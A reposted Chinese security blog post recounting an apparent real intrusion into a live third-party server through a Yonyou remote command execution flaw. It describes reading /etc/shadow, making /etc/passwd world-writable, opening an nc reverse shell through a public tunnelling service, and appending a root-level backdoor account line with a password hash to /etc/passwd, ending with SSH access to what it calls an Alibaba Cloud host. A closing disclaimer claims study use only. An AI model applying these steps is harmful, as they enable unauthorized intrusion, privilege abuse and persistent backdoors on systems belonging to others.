实战|记一次实战远程命令执行漏洞并提权
2022-10-26 10:5:9 Author: 黑白之道(查看原文) 阅读量:16 收藏

某站用友的命令执行漏洞,测试print hello发现可以执行命令

whami 和id 都查一波权限,发现是root,权限这么大,很好搞啊


ps -ef|grep sshd 查一波 发现可以ssh连接,直接useradd 用户,但是整个shell无法给用户添加密码,无法远程登录,怎么搞,直接读shadow哈希,爆破密码
爆破无结果,头大,怎么搞,思考5分钟,可以直接写passwd啊,试一波
再次查看shadow 居然没写进去,难道权限不对,ls -alrt /etc/passwd 发现权限是544 ,直接chmod 777 /etc/passwd 改权限,继续写,依然写不进去,换了各种姿势,都不行,难住我了,突然想起了nc反弹,一般linux都装有nc,这个有没有,查一波
果然不错,有nc,通过dnslog查一下是否有外连
能ping通,果然能外连,那就可以通过nc反弹搞一波了,本地的攻击机在内网,内网穿透一波
我一般用https://www.uulap.com/ 大家可以试试
将本地的6666端口映射到公网
本地建立监听 nc -l -n -v -p 6666
让目标机进行nc反弹
果然反弹回来了,直接上命令,加用户
echo ‘用户名:LRxM3nP3LOiYU:0:0:hello:/root:/bin/bash’ >> /etc/passwd
查看已经添加成
直接ssh连接,发现是阿里云的服务器
至此结束收工!

文章来源:巡安似海

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文

END

多一个点在看多一条小鱼干


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650554735&idx=4&sn=6fa108bbcb0429f31b7b384c97e2fa45&chksm=83bd248bb4caad9d509bef71dc1a8c1789f826a1491c5cee468095a8b2bd9734a122a416d00e#rd
如有侵权请联系:admin#unsafe.sh